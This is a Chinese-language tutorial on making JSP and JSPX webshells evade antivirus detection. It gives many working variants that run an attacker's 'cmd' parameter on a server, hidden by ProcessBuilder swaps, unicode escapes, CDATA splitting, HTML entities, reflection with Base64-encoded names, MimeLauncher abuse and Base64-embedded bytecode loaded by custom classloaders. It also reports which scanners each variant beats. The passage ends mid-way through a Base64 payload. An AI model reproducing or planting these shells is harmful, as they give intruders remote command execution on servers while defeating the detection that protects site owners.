<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<%
String cmd=request.getParameter("cmd");
Process process=Runtime.getRuntime().exec(cmd);
InputStream is=process.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
杀的点在于Runtime.getRuntime().exec非常明显的特征
Runtime.getRuntime().exec(cmd)其实最终调用的是ProcessBuilder这个函数,因此我们可以直接利用ProcessBuilder来替换Runtime.getRuntime().exec(cmd),从而绕过正则表达式
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<%
String cmd=request.getParameter("cmd");
Process process=new ProcessBuilder(new String[]{cmd}).start();
InputStream is=process.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
免杀效果
某狗:
某盾:
某马:
vt:
某度在线查杀:
可以看到这全部都免杀过了,就换了一个函数。
这种方式是利用Expression将Runtime.getRuntime().exec这个特征分开,相当于一个对调函数。免杀效果一般,因为很多查杀都是直接匹配Runtime.getRuntime()
<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd=request.getParameter("cmd");
Expression expr=new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
Process process=(Process) expr.getValue();
InputStream in=process.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(in));
String tmp=null;
while((tmp=bufferedReader.readLine())!=null){
response.getWriter().println(tmp);
}
%>
查杀效果:
可以看到某狗已经查杀出来了。只能说效果很一般
jsp支持unicode编码,如果杀软不支持unicode查杀的话,基本上都能绕过
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%
\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0063\uuuu006d\uuuu0064\uuuu0020\uuuu003d\uuuu0020\uuuu0072\uuuu0065\uuuu0071\uuuu0075\uuuu0065\uuuu0073\uuuu0074\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0050\uuuu0061\uuuu0072\uuuu0061\uuuu006d\uuuu0065\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0022\uuuu0063\uuuu006d\uuuu0064\uuuu0022\uuuu0029\uuuu003b\uuuu0050\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu0028\uuuu0029\uuuu002e\uuuu0065\uuuu0078\uuuu0065\uuuu0063\uuuu0028\uuuu0063\uuuu006d\uuuu0064\uuuu0029\uuuu003b\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0020\uuuu0069\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0028\uuuu0029\uuuu003b\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu0069\uuuu0073\uuuu0029\uuuu0029\uuuu003b\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu003b\uuuu0077\uuuu0068\uuuu0069\uuuu006c\uuuu0065\uuuu0028\uuuu0028\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu002e\uuuu0072\uuuu0065\uuuu0061\uuuu0064\uuuu004c\uuuu0069\uuuu006e\uuuu0065\uuuu0028\uuuu0029\uuuu0029\uuuu0021\uuuu003d\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu0029\uuuu007b\uuuu0072\uuuu0065\uuuu0073\uuuu0070\uuuu006f\uuuu006e\uuuu0073\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0057\uuuu0072\uuuu0069\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0029\uuuu002e\uuuu0070\uuuu0072\uuuu0069\uuuu006e\uuuu0074\uuuu006c\uuuu006e\uuuu0028\uuuu0072\uuuu0029\uuuu003b\uuuu007d%>
注意这里的\uuuu00可以换成\uuuu00uuu...可以跟多个u达到绕过的效果
将代码(除page以及标签)进行unicode编码,并条件到<%%>标签中,即可执行webshell
在线unicode编码转换:
https://3gmfw.cn/tools/unicodebianmazhuanhuanqi/
注意用此在线unicode编码后内容会存在 /ua ,需要手动删除,负责无法正常运行
可以看到依旧执行成功
查杀效果:
这个基本上是通杀了属实是,但由于特征过于明显,如果人工查杀的话,很容易被发现
这里是要是利用jspx的进行进行免杀,jspx其实就是xml格式的jsp文件
在jspx中,可以利用<jsp:scriptlet>来代替<%%>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<jsp:scriptlet>
String cmd=request.getParameter("cmd");
Process process=Runtime.getRuntime().exec(cmd);
InputStream is=process.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>
当<jsp:scriptlet>被过滤时可以利用EL表达式,达到绕过的效果
${Runtime.getRuntime().exec(param.cmd)}
EL表达式的11个隐含对象
其他情况:
利用命令空间改名去绕过
<demo:root xmlns:bbb="http://java.sun.com/JSP/Page" version="1.2">
<demo:scriptlet>
Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));
</demo:scriptlet>
</demo:root>
利用<jsp:expression>绕过
<jsp:root xmlns:bbb="http://java.sun.com/JSP/Page" version="1.2">
<jsp:expression>
Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));
</jsp:expression>
</jsp:root>
以上是jsp的一些特性,下面开始正式讲解CDATA
说人话就是<![CDATA[与]]>只要能配对就相互抵消,其他不变,因此就可以说多了一个混淆的方式,有点类似多行注释在一行中使用(sql注入绕过waf),但是这个特征可以将关键字,函数进行分割,让其能混淆的空间变的更大
下面是用xml格式的jsp文件
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="2.0">
<jsp:directive.page contentType="text/html"/>
<jsp:scriptlet>
String cmd=request.getParameter("cmd");
Process process=Runtime.getRuntime().exec(cmd);
java.io.InputStream is=process.getInputStream();
java.io.BufferedReader bufferedReader=new java.io.BufferedReader(new java.io.InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>
</jsp:root>
可以看到这里是能正常运行的,接下来文件使用CDATA进行混淆
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="2.0">
<jsp:directive.page contentType="text/html"/>
<jsp:scriptlet>
String cmd=requ<![CDATA[est.get]]>Parameter("cmd");
Process process=Ru<![CDATA[ntime.getRunt]]>ime().exec(cmd);
java.io.InputStream is=process.getInputStream();
java.io.BufferedReader bufferedReader=new java.io.BufferedReader(new java.io.InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>
</jsp:root>
依旧是能成功运行的,但是我们可以requst和Runtime这些类名都被插入了CDATA,从而消除了特征
免杀效果:
这里HTML编码免杀与jspx的特效有关,前面的CDATA设计到了jspx的相关知识,由此CDATA的免杀就在上文讲了
在XML里可以通过html实体编码来对特殊字符转义,jspx同样继承了该特性,由此jspx就具有识别html实体编码,接下来我们就利用上面的免杀马进行进一步的混淆
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="2.0">
<jsp:directive.page contentType="text/html"/>
<jsp:scriptlet>
String cmd=requ<![CDATA[est.get]]>Parameter("cmd");
Process process=Ru<![CDATA[ntime.getRunt]]>ime().exec(cmd);
java.io.InputStream is=process.getInputStream();
java.io.BufferedReader bufferedReader=new java.io.BufferedReader(new java.io.InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>
</jsp:root>
注意:含有CDATA的内容是不能进行html实体编码的,反之html实体编码后的内容也不能插入CDATA,否则无法执行
在线html实体编码:
https://www.qqxiuzi.cn/bianma/zifushiti.php
可以看到依旧可以正常运行
本章主要讲解反射在webhell中的利用,以及反射绕过杀软的利用与原理
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.*" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd=request.getParameter("cmd");
Class<?> rt=Class.forName("java.lang.Runtime");
Method runtimeMethod=rt.getMethod("getRuntime");
Method method=rt.getMethod("exec", String.class);
Object object=method.invoke(runtimeMethod.invoke(null),cmd);
Process process=(Process) object;
InputStream in=process.getInputStream();
InputStreamReader resultReader=new InputStreamReader(in);
BufferedReader stdInput=new BufferedReader(resultReader);
String s=null;
while ((s=stdInput.readLine()) !=null) {
out.println(s);
}
%>
免杀效果:
特征太明显里面还有java.lang.Runtime,getRuntime,exec这些敏感内容,由于与反射相关的参数都是字符串,由此我们能操作的空间就很大了。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd=request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt=Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod=rt.getMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method=rt.getMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object=method.invoke(runtimeMethod.invoke(null),cmd);
Process process=(Process) object;
InputStream is=process.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
免杀效果:
通过测试发现并非查杀的是与反射相关的所有函数,而是匹配是否存在getMethod函数,因此我们只需将getMethod改为getDeclaredMethod即可
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd=request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt=Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod=rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method=rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object=method.invoke(runtimeMethod.invoke(null),cmd);
Process process=(Process) object;
InputStream is=process.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
可以看到正常运行
免杀效果:
可以看到某盾依旧查杀,经过测试某盾查杀的是当存在反射函数又存在Process类的getInputStream方法时会被查杀,这种情况下,笔者并未找到太好的办法,要么就这些不回显,要么就利用之前文章写的免杀技巧。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd=request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt=Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod=rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method=rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object=method.invoke(runtimeMethod.invoke(null),cmd);
%>
免杀效果:
在sun.net. www.MimeLauncher中存在一个run方法 ,而该run方法存在命令执行漏洞
本来打算将MimeLauncher放到前面内置函数免杀那篇文章上讲,由于MimeLauncher无法直接使用,需要借助反射进行调用,因此就笔者就将MimeLauncher放在反射免杀后讲,及本章
<%@ page import="java.io.*" %>
<%@ page import="java.net.URLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="sun.net.www.MimeEntry" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd=request.getParameter("cmd");
URLConnection urlConnection=new URL("http://127.0.0.1%s").openConnection();
MimeEntry mimeEntry=new MimeEntry("naihe");
Class meClass=MimeEntry.class;
Field field=meClass.getDeclaredField("command");
field.setAccessible(true);
Field field2=meClass.getDeclaredField("tempFileNameTemplate");
field2.setAccessible(true);
field2.set(mimeEntry,"naihe%s567");
InputStream inputStream=new InputStream() {
@Override
public int read() throws IOException {
return -1;
}
};
Class mimeClass=Class.forName("sun.net.www.MimeLauncher");
Constructor mimeCon=mimeClass.getDeclaredConstructor(MimeEntry.class,URLConnection.class,
InputStream.class,String.class,String.class);
mimeCon.setAccessible(true);
Thread thread=(Thread) mimeCon.newInstance(mimeEntry, urlConnection, inputStream, "0","0");
Field field3=mimeClass.getDeclaredField("execPath");
field3.setAccessible(true);
field3.set(thread,cmd);
Method m=mimeClass.getDeclaredMethod("run");
m.setAccessible(true);
m.invoke(thread);
%>
类似MimeLauncher的类还有许多,适合大家去挖掘挖掘,利用时大概率会用到反射,就当练习练习反射相关的知识也是不错的选择
免杀效果:
这种方式简单地说就是用ideal将java文件编程成class文件,然后将class读取出来用base64编码即可,这种方式比较方便简单,不需要会使用ASM,javassist等字节码框架。
package com.demo;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.util.Base64;
public class Demo {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
FileChannel fileChannel=null;
FileInputStream in=null;
in=new FileInputStream("C:\\Users\\12107\\Desktop\\免杀\\target\\classes\\com\\demo\\Shell.class");
fileChannel=in.getChannel();
ByteBuffer buffer=ByteBuffer.allocate((int) fileChannel.size());
while (fileChannel.read(buffer) > 0) {
}
System.out.println(new String(Base64.getEncoder().encode(buffer.array())));
}
}
Shell.java
package com.demo;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Shell {
public static String runs(String cmd) throws IOException {
Process process=Runtime.getRuntime().exec(cmd);
InputStream is=process.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(is));
String r="";
String s="";
while((r=bufferedReader.readLine())!=null){
s +=r;
}
return s;
}
}
javassist是生成修改字节码的框架,使用比ASM更简洁,但是并非jvm自带的库,也是笔者非常喜欢的一个框架。
package com.demo;
import javassist.*;
import java.io.IOException;
import java.util.Base64;
public class Demo2 {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
ClassPool classPool=ClassPool.getDefault();
CtClass cc1=classPool.makeClass("com.demo.Shell");
CtConstructor cons=new CtConstructor(new CtClass[]{},cc1);
cons.setBody("{}");
String runCode1="{}";
cons.insertBefore((runCode1));
cc1.addConstructor(cons);
CtMethod cm2=new CtMethod(ClassPool.getDefault().get("java.lang.String"), "runs", new CtClass[]{classPool.get("java.lang.String")}, cc1);
cm2.setModifiers(Modifier.PUBLIC);
cm2.setBody("{ Process process=Runtime.getRuntime().exec($1);\n" +
" java.io.InputStream is=process.getInputStream();\n" +
" java.io.BufferedReader bufferedReader=new java.io.BufferedReader(new java.io.InputStreamReader(is));\n" +
" String r=\"\";\n" +
" String s=\"\";\n" +
" while((r=bufferedReader.readLine())!=null){\n" +
" s +=r;\n" +
" }\n" +
" return s;}");
cc1.addMethod(cm2);
System.out.println(new String(Base64.getEncoder().encode(cc1.toBytecode())));
}
}
ASM相比javassist操作更复杂,但是jvm自带,利用面非常广
package com.demo;
import jdk.internal.org.objectweb.asm.ClassWriter;
import jdk.internal.org.objectweb.asm.MethodVisitor;
import java.util.Base64;
import static jdk.internal.org.objectweb.asm.Opcodes.*;
public class Demo2 {
public static void main(String[] args){
ClassWriter cw=new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(V1_8, ACC_PUBLIC, "Shell", null, "java/lang/Object", null);
MethodVisitor mw=cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
mw.visitVarInsn(ALOAD, 0);
mw.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V",false);
mw.visitInsn(RETURN);
mw.visitMaxs(1, 1);
mw.visitEnd();
MethodVisitor mw2=cw.visitMethod(ACC_PUBLIC, "runs",
"(Ljava/lang/String;)Ljava/lang/Process;", null, null);
mw2.visitCode();
mw2.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime",
"()Ljava/lang/Runtime;",false);
mw2.visitVarInsn(ALOAD,1);
mw2.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
mw2.visitInsn(ARETURN);
mw2.visitMaxs(10, 3);
mw2.visitEnd();
byte[] code=cw.toByteArray();
System.out.println(new String(Base64.getEncoder().encode(code)));
}
}
这里由于ASM操作比较复杂,就先生成一个简单的字节码(前面javac和javassist笔者写的回显都是在字节码这,这ASM回显的内容就先不放在ASM中生成),由于runs函数的返回值为Process,我们只需要在后面的jsp处理中拿出来用即可。
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
ClassLoader loader=new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if(name.contains("com.demo.Shell")){
return findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes=Base64.getDecoder().decode("yv66vgAAADQAFQEADmNvbS9kZW1vL1NoZWxsBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABjxpbml0PgEAAygpVgwABQAGCgAEAAcBAARydW5zAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1J1bnRpbWUHAAsBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAANAA4KAAwADwEABGV4ZWMMABEACgoADAASAQAEQ29kZQABAAIABAAAAAAAAgABAAUABgABABQAAAARAAEAAQAAAAUqtwAIsQAAAAAAAQAJAAoAAQAUAAAAFAAKAAIAAAAIuAAQK7YAE7AAAAAAAAA=");
PermissionCollection pc=new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain=new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
};
String cmd=request.getParameter("cmd");
Class<?> shell=loader.loadClass("com.demo.Shell");
Object object=shell.newInstance();
Method dm=shell.getDeclaredMethod("runs",String.class);
Process o2=(Process)dm.invoke(object, cmd);
InputStream is=o2.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(is));
String r="";
String s="";
while((r=bufferedReader.readLine())!=null){
s +=r;
}
response.getWriter().println(s);
%>
免杀修改
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.FileInputStream" %>
<%@ page import="java.nio.channels.FileChannel" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
Method defineClass= ClassLoader.class.getDeclaredMethod("defineClass", String.class,
byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] bytes=Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
Class shell=(Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "com.demo.Shell", bytes, 0, bytes.length);
Object object=shell.newInstance();
Method dm=shell.getDeclaredMethod("runs",String.class);
Object invoke=dm.invoke(object, "calc");
%>
免杀效果:
虽然用原始的defindClass虽然能到达免杀效果,但是由于没有重写loadClass,findClass,没有打破双亲委派,导致恶意的字节码被加载后,再次访问网页的时候,类不会被生成,导致不能正常使用
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
ClassLoader loader=new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if(name.contains("com.demo.Shell")){
return findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes=Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAm